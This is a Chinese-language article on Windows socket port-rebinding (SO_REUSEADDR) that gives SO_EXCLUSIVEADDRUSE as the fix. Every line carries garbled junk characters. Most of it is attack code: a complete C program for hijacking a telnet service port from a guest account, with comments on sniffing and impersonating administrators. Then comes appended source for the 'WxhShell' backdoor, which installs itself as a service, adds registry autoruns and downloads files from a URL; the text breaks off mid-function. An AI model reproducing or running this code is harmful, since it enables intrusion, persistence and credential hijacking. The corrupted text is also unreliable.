在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
27 GhE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
KhaYr)&~ .g% Y@r)=5 saddr.sin_family = AF_INET;
oRq!=eUu_ |L:Cn J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zAScRg$:? >V;,#5F_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@CQb[!9C .mxTfP=9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xiM&$<LpR G&9#*<F$c 这意味着什么?意味着可以进行如下的攻击:
I&]G
cd. brM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.%xzT J=! %_gho 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|M5-5) 68t}w^= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
j+^L~, S )\ 0F7Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5/I_w0 WDx
Mo`zT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?Zcj}e.r KMjg;!y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
RKTb'3H smU4jh9S 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
$v27]"] 0 bSA_ #include
l]#!+@ #include
F^kwdS #include
&%F@O<: #include
30F!kP*E DWORD WINAPI ClientThread(LPVOID lpParam);
wu~hqd int main()
?S#\K^ {
O\beKBT; WORD wVersionRequested;
'ks{D(` DWORD ret;
raB+,Oi$G WSADATA wsaData;
0[a}n6XTk BOOL val;
cFZCf8:zB SOCKADDR_IN saddr;
%3=J*wj>D SOCKADDR_IN scaddr;
n9hm790x- int err;
KCR N}`^ SOCKET s;
<$E6oZ SOCKET sc;
<94G int caddsize;
*\XH+/]+ HANDLE mt;
RtV.d\ DWORD tid;
8^yJqAXK wVersionRequested = MAKEWORD( 2, 2 );
.y4&rF$n err = WSAStartup( wVersionRequested, &wsaData );
?nFO:N< if ( err != 0 ) {
e~\QE0Oe : printf("error!WSAStartup failed!\n");
zlf}. return -1;
Hi,t@!! }
$H2GbZ-I saddr.sin_family = AF_INET;
h)x_zZ%>o RA/EpD:H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
d@kc[WLD^ FJS'G^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
G=d(*+&
B saddr.sin_port = htons(23);
5nLDj:C~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jBtj+TL8 {
UpUp8%fCU printf("error!socket failed!\n");
iI?{"}BZ return -1;
clDHTj=~ }
:nGMtF val = TRUE;
M] EsS^/X //SO_REUSEADDR选项就是可以实现端口重绑定的
lrEj/"M if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6m`{Z`c$ {
f~M8A. printf("error!setsockopt failed!\n");
kU*{4G|6 return -1;
0Xl%uF+w }
\cySWP[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
e>H:/24 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QGPw2Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`~F5wh~ f}fsoDoQ= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
zQ8!rCkg4 {
Kn}ub+
"J ret=GetLastError();
M'5'O;kn printf("error!bind failed!\n");
:Ml7G return -1;
l?E|RKp }
9%DT0.D}$j listen(s,2);
Np,2j KF( while(1)
=,/D/v$m'2 {
xAdq+$>< caddsize = sizeof(scaddr);
d>i13dAI //接受连接请求
Z`_.x
&Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Jh@_9/? if(sc!=INVALID_SOCKET)
g1[&c+=U`P {
d/U."V} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ST',4Oph5 if(mt==NULL)
]|Z b\{
{
9O98Q6-s printf("Thread Creat Failed!\n");
X[hM8G break;
2[R$RpA_ }
3#GqmhqKDk }
F:T GsV# CloseHandle(mt);
PpOlt.yui }
5M){!8"S)# closesocket(s);
v,1F--v WSACleanup();
9]yW_]P return 0;
[_!O<z_sB }
E`D%PEps+ DWORD WINAPI ClientThread(LPVOID lpParam)
4<v;1
{
u<Xog$esu SOCKET ss = (SOCKET)lpParam;
>P(`MSc SOCKET sc;
9f+RAN( unsigned char buf[4096];
AFm1t2,+;
SOCKADDR_IN saddr;
Y
62r long num;
AXW!]=?X DWORD val;
:)c80`-E DWORD ret;
Ot9V< D6h //如果是隐藏端口应用的话,可以在此处加一些判断
f(:1yl\a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
bXdY\&fE saddr.sin_family = AF_INET;
2@i;_3sv saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
cyF4iG'M,y saddr.sin_port = htons(23);
Dkw7]9Qm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+=fKT,-*G! {
i/qTFQst
_ printf("error!socket failed!\n");
tYe:z:7l?< return -1;
!]b@RUU }
'gTmH [be val = 100;
?J&)W,~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
RQ'
H!(K {
J=}F2C
ret = GetLastError();
{d!Y3+I%G return -1;
^ddO&!U }
<^><3U` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5K.+CO< {
m_lrPY- ret = GetLastError();
Pl return -1;
])T/sO#' }
SkP[|g'56 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`deYi 2z {
b|?;h21rG printf("error!socket connect failed!\n");
]PS\#I} closesocket(sc);
z+VV}:Q closesocket(ss);
s>[{}7ca return -1;
p@I9<^" }
|E^|X!+9 while(1)
WZ~> BM {
fI:H8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
($d4:Ww //如果是嗅探内容的话,可以再此处进行内容分析和记录
.W.;~`EW //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}~I|t!GL num = recv(ss,buf,4096,0);
&Ocu#Cb if(num>0)
KH<v@IJ\ send(sc,buf,num,0);
2C/%gcN > else if(num==0)
x ^vt; $ break;
Q7a(P num = recv(sc,buf,4096,0);
?q$P>guH6- if(num>0)
*\ECf.7jz send(ss,buf,num,0);
8wFn}lw& else if(num==0)
m,6hee break;
fluGf }
tOg=zXm closesocket(ss);
A7Y_HIo closesocket(sc);
JAP(| return 0 ;
uMiyq< }
Lb~\Yn'z V
SAafux nNR:cGfG ==========================================================
3M
N =AkX4k 下边附上一个代码,,WXhSHELL
3,$iGe WU\m^!`w=F ==========================================================
5gK~('9'?1 >oY^Gx #include "stdafx.h"
?r3e*qJGn "c
Pz|~ #include <stdio.h>
14l; * #include <string.h>
B,y3]
g6u #include <windows.h>
-!R
l(if #include <winsock2.h>
VS`Z_Xn #include <winsvc.h>
UR:n5V4 #include <urlmon.h>
ScJu_Af 6>B \| #pragma comment (lib, "Ws2_32.lib")
vttrKVA #pragma comment (lib, "urlmon.lib")
,nYZxYLf+ l l:jsm #define MAX_USER 100 // 最大客户端连接数
?( 12aU #define BUF_SOCK 200 // sock buffer
2OC dG #define KEY_BUFF 255 // 输入 buffer
^5x4 q ^!uO(B& #define REBOOT 0 // 重启
9dYOH)f #define SHUTDOWN 1 // 关机
3B#!2| Au=kSSB #define DEF_PORT 5000 // 监听端口
yJ J8"s~i X_?%A54z? #define REG_LEN 16 // 注册表键长度
A- 0m8< #define SVC_LEN 80 // NT服务名长度
P"Rk?lL /Ynt<S9" // 从dll定义API
z7q%,yw3N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
rWe
8D/oc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9::YR;NY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
VjTAN= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*vs~SzF$ +Ag#B* // wxhshell配置信息
k2uBaj] struct WSCFG {
Xz* tbW# int ws_port; // 监听端口
c Vg$dt char ws_passstr[REG_LEN]; // 口令
=,E'~P int ws_autoins; // 安装标记, 1=yes 0=no
}AAbhr9d} char ws_regname[REG_LEN]; // 注册表键名
%:tr char ws_svcname[REG_LEN]; // 服务名
2Q
3/-R char ws_svcdisp[SVC_LEN]; // 服务显示名
UJwq n"Q^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
.~,^u char ws_passmsg[SVC_LEN]; // 密码输入提示信息
yu_gNro L int ws_downexe; // 下载执行标记, 1=yes 0=no
+/_!P;I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9OZ>y0)K~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)$F6 Dauo(Uhuo };
k>-'AWH^v hvcR.f)C> // default Wxhshell configuration
YiNo#M91 struct WSCFG wscfg={DEF_PORT,
c#x7N9;"! "xuhuanlingzhe",
@`2ozi~lO 1,
VY{,x;O` "Wxhshell",
!Iko0#4i "Wxhshell",
v1K4 $&{F "WxhShell Service",
a;yV#Y "Wrsky Windows CmdShell Service",
f>4+,@G "Please Input Your Password: ",
ds')PIj 1,
b)y<.pS\ "
http://www.wrsky.com/wxhshell.exe",
{4)5]62>u "Wxhshell.exe"
)SD_}BY%k };
|nfH-JytV Nc:U4 // 消息定义模块
04[)qPPS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dcR6KG 8 char *msg_ws_prompt="\n\r? for help\n\r#>";
G`WzJS*}v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Qv=Bq{N char *msg_ws_ext="\n\rExit.";
bZnDd char *msg_ws_end="\n\rQuit.";
lDH_ Y]bM char *msg_ws_boot="\n\rReboot...";
IjgBa-o/V char *msg_ws_poff="\n\rShutdown...";
r3?5'S` char *msg_ws_down="\n\rSave to ";
h!~|6nj 2nYiG)tg char *msg_ws_err="\n\rErr!";
<WgG=Kf)N char *msg_ws_ok="\n\rOK!";
B~e7w 4 uRs9}dzv char ExeFile[MAX_PATH];
eKS:7:X int nUser = 0;
P[6dTZ!\s HANDLE handles[MAX_USER];
F^[M int OsIsNt;
^>t-v YU*46 hA1B SERVICE_STATUS serviceStatus;
r)(i{:@r` SERVICE_STATUS_HANDLE hServiceStatusHandle;
B0NN>)h dUUPhk0 // 函数声明
|)*m[_1 int Install(void);
E^'C" 6 int Uninstall(void);
^JiaR)#r
int DownloadFile(char *sURL, SOCKET wsh);
ByC1I.B` int Boot(int flag);
C-_w]2MM void HideProc(void);
J>/Ci\OB int GetOsVer(void);
OcLg3.:L int Wxhshell(SOCKET wsl);
upZYv~Sa void TalkWithClient(void *cs);
/ *Ou$ int CmdShell(SOCKET sock);
+q4W0 int StartFromService(void);
1\=pPys) int StartWxhshell(LPSTR lpCmdLine);
R20a(4m 56VE[G VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@m }rQT VOID WINAPI NTServiceHandler( DWORD fdwControl );
5IwX\ *yL|} // 数据结构和表定义
$Cut SERVICE_TABLE_ENTRY DispatchTable[] =
wV]sGHu F} {
hVROzGZk {wscfg.ws_svcname, NTServiceMain},
}u38:(^`ai {NULL, NULL}
X*43!\ };
/QM0.{Ypl 8Q#t\$RY // 自我安装
n">?LN-DC int Install(void)
bEEJV F0 {
^p'D <!6sK char svExeFile[MAX_PATH];
F%Ro98?{ HKEY key;
_+0uju?o} strcpy(svExeFile,ExeFile);
G}Q}H* N}eU.#L // 如果是win9x系统,修改注册表设为自启动
Y*h`), if(!OsIsNt) {
,dGFX]P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>Lo6='G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7r:nMPX RegCloseKey(key);
6C@0[Q\ER if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8HHgN`_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ksxO<Y RegCloseKey(key);
'Hcd&3a return 0;
oaH+c9v }
kG_&-b }
e2,<,~_K6 }
Cnb[t[hk+j else {
@$K![]oD ;7B2~zL // 如果是NT以上系统,安装为系统服务
D>!v_v6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'd~, o[x if (schSCManager!=0)
2_B; {
ZlwcwoPib SC_HANDLE schService = CreateService
vr8J*36{ (
<yX@@8 schSCManager,
h$:&1jVY{ wscfg.ws_svcname,
/It.>1~2@ wscfg.ws_svcdisp,
FE^?U%:u@ SERVICE_ALL_ACCESS,
_Ct@1}aa4x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[rD+8,zVm SERVICE_AUTO_START,
=rs=8Ty?S SERVICE_ERROR_NORMAL,
@k#z&@b svExeFile,
m
bB\~n NULL,
l7=$4As/hI NULL,
oj,Vi-T Z NULL,
-wG[>Y NULL,
^ mQ;CMV NULL
Wb*T );
r!-L`GUm if (schService!=0)
'Sb6
w+ {
7.F& {:@_ CloseServiceHandle(schService);
}(f,~?CP] CloseServiceHandle(schSCManager);
$u0+29T2O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
AVdd?Ew strcat(svExeFile,wscfg.ws_svcname);
r5X BcG(2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
c@"i? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7csl1|U RegCloseKey(key);
/3"e3{uy return 0;
7,&3=R< }
z}Mb4{d1 }
ocDVCCkxg CloseServiceHandle(schSCManager);
! X#3w-K }
#Fb0;H9` }
[|P]St- ?U2g8D nFY return 1;
>cU*D: }
)f_"`FH0d k[^}ld[ // 自我卸载
4 I]/ int Uninstall(void)
"O"^\f {
&<[]X@ bY HKEY key;
qjdahVY &p(*i@Ms if(!OsIsNt) {
qH}62DP3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R`<{W(J;r RegDeleteValue(key,wscfg.ws_regname);
lD+y,"; RegCloseKey(key);
BGk<NEzH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2EI m RegDeleteValue(key,wscfg.ws_regname);
7\|NYT4 RegCloseKey(key);
^LQ lfd return 0;
gIf+.^/m1 }
'f$?/5@@ }
dBi3ZCAF }
S+bWD7 else {
/Va&k4 SgQmYaa& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
J6?_?XzToT if (schSCManager!=0)
;74DT {
+{l3#Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#,|_d>p: if (schService!=0)
>GF(.:7 {
tz \:r>3vI if(DeleteService(schService)!=0) {
EJSgTtp2 CloseServiceHandle(schService);
E6KBpQcd[ CloseServiceHandle(schSCManager);
=[CS2VQ' return 0;
hH@o|!y }
Y9c9/_CSj CloseServiceHandle(schService);
l{7Dv1[Ss }
u/c~PxC CloseServiceHandle(schSCManager);
y<gYf -E+ }
c )P%O }
e"&9G}.f 2l}FgD return 1;
3dzqVaV }
/`]|_>' KE|u}M@v6 // 从指定url下载文件
Z+pvdu int DownloadFile(char *sURL, SOCKET wsh)
JKu6+V jO {
9zGKQ |X) HRESULT hr;
)]e d;V char seps[]= "/";
QIxJFr;> char *token;
]t!}D6p char *file;
'-1jWw:8 char myURL[MAX_PATH];
<45dy5!Tz char myFILE[MAX_PATH];
2K7:gd8Ru Ok.DSOT strcpy(myURL,sURL);
9.w3VF_C token=strtok(myURL,seps);
i|! 9o: while(token!=NULL)
sMe~C>RD {
onypwfIk)t file=token;
GlkAJe] token=strtok(NULL,seps);
pU)3*9?cIl }
!j\&BAxTEk {bsr
9.k( GetCurrentDirectory(MAX_PATH,myFILE);
H_nOE(i<z strcat(myFILE, "\\");
sp]y! zb"5 strcat(myFILE, file);
->#@rF:S send(wsh,myFILE,strlen(myFILE),0);
UOL%tT send(wsh,"...",3,0);
yl;$#aZB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mjr{L{H=?+ if(hr==S_OK)
."@a1_F| return 0;
Y_iF$m/R else
!6i return 1;
fw~%^* [T?6~^m= }
:^.8 7>V7 'rx,f
// 系统电源模块
^Y*.Ktp,o int Boot(int flag)
!/q&0 a {
Q9'V&jm HANDLE hToken;
l\l]9Z6% TOKEN_PRIVILEGES tkp;
5'L}LT8p@ g7q]Vj if(OsIsNt) {
d4=u`2w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.Y Frb+6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
_ . tkp.PrivilegeCount = 1;
`0gK;D8t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
WOTu"Yj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
` vmk if(flag==REBOOT) {
O%h
97^%k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Qmh(+-Mp( return 0;
LCm}v&~%A }
QMfy^t+I else {
*gMP_I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
j`-y"6) return 0;
|^9ig_k` }
u KdX4 }
q9Opa2 else {
Fm+)mmJP if(flag==REBOOT) {
'C4Ll2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
N`GwL
aF return 0;
&=t(NI$ }
s*U&